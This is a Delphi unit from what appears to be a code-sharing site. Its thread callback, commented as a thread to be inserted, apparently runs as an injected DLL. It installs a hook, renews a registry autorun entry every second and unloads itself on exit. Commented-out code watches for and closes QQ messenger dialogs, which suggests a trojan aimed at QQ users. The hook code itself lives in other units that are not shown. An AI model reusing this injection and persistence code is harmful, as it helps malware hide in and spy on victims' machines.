📄 thread.~pas
字号:
unit Thread;
interface
uses Common,CallSelf,RegSet,VarUnit,ShareData;
// 待插线程回调函数
procedure ThreadPro(X: Integer); stdcall;
implementation
uses Windows, Messages, Forms;
var
timer : integer;
timer_out : integer = 1000;
{procedure InitialCloseQQValues;
var
cfgFileName: String;
Config : TConfig;
begin
try
InitConfig(Config);
if CallSelf.GetShareDataA <> nil then
cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName
else
cfgFileName := '';
SendOut.ReadValues(cfgFileName,Config);
WillNotCloseQQ := False;
CloseQQWaitTime := Config.CloseQQWaitTime;
except
end;
end;}
procedure StartTimer;
begin
//InitialCloseQQValues;
timer := SetTimer(0,1,timer_out,nil);
end;
procedure StopTimer;
begin
KillTimer(0,timer);
end;
procedure ProcTimer;
begin
if ShareData.GetShareData <> nil then
SetupRegRun(ShareData.GetShareData.CfgFileName);
{if CloseQQWaitTime <= 0 then Exit;
if not WillNotCloseQQ then begin
if IsQQDialog(GetForegroundWindow()) then begin
WillNotCloseQQ := True;
CloseQQWaitTime := 0;
end else begin
Dec(CloseQQWaitTime);
if CloseQQWaitTime <= 0 then begin
PostThreadMessage(GetCurrentThreadID(), WM_QUIT, 0, 0);
end;
end;
end;}
end;
// 待插线程回调函数
procedure ThreadPro(X: Integer); stdcall;
var
MsgStruct: TMsg;
hMutexObj: DWORD;
begin
hMutexObj := CreateMutex(nil, FALSE, DllMutex);
InstallHookA;
StartTimer;
while GetMessage(MsgStruct, 0, 0, 0) do
begin
if (MsgStruct.message = WM_TIMER) then begin
ProcTimer;
end;
TranslateMessage(MsgStruct);
DispatchMessage(MsgStruct);
end;
StopTimer;
UnHookA;
CloseHandle(hMutexObj);
FreeLibraryAndExitThread(HInstance, 0);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -